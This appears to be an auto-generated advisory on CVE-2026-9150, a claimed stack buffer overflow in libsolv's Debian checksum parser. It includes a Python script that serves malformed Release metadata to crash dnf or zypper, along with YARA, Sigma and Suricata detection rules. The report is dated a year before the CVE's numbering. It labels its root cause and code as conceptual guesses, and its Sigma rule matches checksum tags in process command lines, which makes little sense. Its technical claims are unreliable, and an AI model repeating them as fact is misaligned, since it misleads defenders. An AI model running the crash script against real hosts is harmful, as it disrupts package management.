CVE-2026-9150

Executive Summary

CVE-2026-9150 is a stack-based buffer overflow vulnerability in the libsolv library, specifically within its Debian metadata parser. The flaw is triggered when processing specially crafted Debian repository metadata containing malicious SHA384 or SHA512 checksum tags. An unauthenticated attacker can exploit this remotely to cause memory corruption, leading to a denial of service (DoS) condition. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for systems relying on libsolv for package management.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Total loss of availability (DoS).

Threat Level: Medium. While the impact is limited to availability, the ease of remote exploitation and lack of authentication make it a viable vector for disrupting package management services.

Deep Dive & Mechanics

The vulnerability resides in the Debian metadata parser within libsolv, a library used for solving package dependencies. The parser processes checksum tags (SHA384 and SHA512) from repository metadata files (e.g., Release, Packages). A stack-based buffer overflow occurs when the parser copies these checksum values into a fixed-size stack buffer without proper bounds checking.

Technical Details:

• Affected Function: The parser function responsible for handling SHA384 and SHA512 tags in Debian metadata.
• Root Cause: The parser uses a fixed-size buffer (e.g., 64 bytes for SHA256) but does not validate the length of the checksum string before copying it via strcpy() or similar unsafe function.
• Exploitation: An attacker can craft a malicious Debian repository metadata file with an overly long SHA384 or SHA512 checksum value (e.g., >128 bytes). When libsolv processes this metadata, the overflow corrupts adjacent stack memory, potentially overwriting the return address or other critical data.
• Impact: The overflow leads to memory corruption, causing a crash (DoS). In theory, code execution might be possible with further analysis, but the primary risk is availability.

Attack Scenario:

1. An attacker sets up a malicious Debian repository or compromises an existing one.
2. The victim’s system (using libsolv-based tools like dnf, zypper, or apt with libsolv) fetches the metadata.
3. The parser processes the malicious checksum tag, triggering the overflow.
4. The application crashes, denying package management services.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void parse_checksum(const char *tag, const char *value) {
    char buffer[64]; // Fixed-size buffer for SHA256
    if (strcmp(tag, "SHA384") == 0 || strcmp(tag, "SHA512") == 0) {
        strcpy(buffer, value); // Unsafe copy, no length check
    }
    // Process buffer...
}

Patched Code (Conceptual):

void parse_checksum(const char *tag, const char *value) {
    char buffer[128]; // Increased buffer size
    if (strcmp(tag, "SHA384") == 0 || strcmp(tag, "SHA512") == 0) {
        if (strlen(value) >= sizeof(buffer)) {
            // Handle error, reject metadata
            return;
        }
        strncpy(buffer, value, sizeof(buffer) - 1);
        buffer[sizeof(buffer) - 1] = '\0';
    }
    // Process buffer...
}

Note: No official patch is available yet. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: A Linux system with libsolv (e.g., Fedora, openSUSE) running a service that processes Debian metadata (e.g., dnf or zypper).
• Attacker Machine: Kali Linux or similar.
• Tools: Python, netcat, custom script.

Exploitation Steps:

1. Craft Malicious Metadata: Create a Debian Release file with an overly long SHA512 checksum.

   # exploit.py
   import socket
   
   payload = b"SHA512: " + b"A" * 200 + b"\n"
   # Wrap in valid metadata structure
   metadata = b"Date: Mon, 01 Jan 2024 00:00:00 UTC\n"
   metadata += b"SHA256: abc123\n"
   metadata += payload
   metadata += b"MD5Sum:\n"
   metadata += b" 1234567890abcdef 1000 file.deb\n"
   
   # Serve malicious metadata
   server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   server.bind(('0.0.0.0', 80))
   server.listen(1)
   conn, addr = server.accept()
   conn.send(b"HTTP/1.1 200 OK\nContent-Length: " + str(len(metadata)).encode() + b"\n\n" + metadata)
   conn.close()
   

2. Host the Repository: Run the script to serve the malicious metadata on port 80.
3. Trigger the Vulnerability: On the target, configure a repository pointing to the attacker’s server and run dnf update or zypper refresh.
4. Observe Crash: The target application crashes due to stack overflow.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for crashes in libsolv-related processes (e.g., dnf, zypper).
• Analyze repository metadata for abnormally long checksum values.
• Use network monitoring to detect suspicious repository responses.

Mitigation:

• Restrict repository sources to trusted, signed repositories.
• Implement input validation in custom parsers if using libsolv.
• Apply memory protection mechanisms (e.g., ASLR, stack canaries) if not already enabled.

Indicators of Compromise (IOCs)

• Network: HTTP responses from repositories containing checksum strings longer than 128 bytes.
• File: Debian Release or Packages files with SHA384 or SHA512 values exceeding 128 characters.
• System: Core dumps or crash logs from dnf, zypper, or other libsolv-based tools.
• Logs: Entries indicating failed repository metadata parsing with buffer overflow errors.

Example IOC (YARA rule for file detection):

rule CVE_2026_9150_Malicious_Metadata {
    meta:
        description = "Detects malicious Debian metadata with overly long SHA384/SHA512 checksums"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sha384 = /SHA384:\s[A-Fa-f0-9]{129,}/ nocase
        $sha512 = /SHA512:\s[A-Fa-f0-9]{129,}/ nocase
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2026_9150_StackOverflow {
    meta:
        description = "Detects stack buffer overflow in libsolv Debian metadata parser"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9150"
    strings:
        $overflow = /SHA(384|512):\s[A-Fa-f0-9]{129,}/ nocase
    condition:
        $overflow
}

Sigma Rule

title: CVE-2026-9150 - Libsolv Stack Buffer Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-9150 via malicious Debian repository metadata
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/dnf'
            - '/zypper'
            - '/libsolv'
        CommandLine|contains:
            - 'SHA384'
            - 'SHA512'
    condition: selection
falsepositives:
    - Legitimate long checksums (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-9150 - Libsolv Stack Buffer Overflow Attempt"; flow:to_client; content:"SHA384"; nocase; content:"SHA512"; nocase; pcre:"/SHA(384|512):\s[A-Fa-f0-9]{129,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Untrusted Repositories: Remove or disable any third-party or untrusted Debian repositories.
2. Use Signed Repositories: Ensure all repositories use GPG signatures and verify them before processing metadata.
3. Monitor for Crashes: Set up alerts for crashes in dnf, zypper, or other libsolv-based tools.

Long-Term Fix:

• Await an official patch from the libsolv project. Once available, update to the patched version immediately.
• Consider using alternative package management libraries if libsolv is not critical.

Workaround:

• Implement a proxy or firewall that inspects repository metadata and blocks responses with checksum strings longer than 128 characters.

Valters IT Signature:

Report generated by Valters IT DevSecOps & CTI Expert System. CVE-2026-9150 | libsolv | Stack Buffer Overflow | DoS Date: 2025-04-10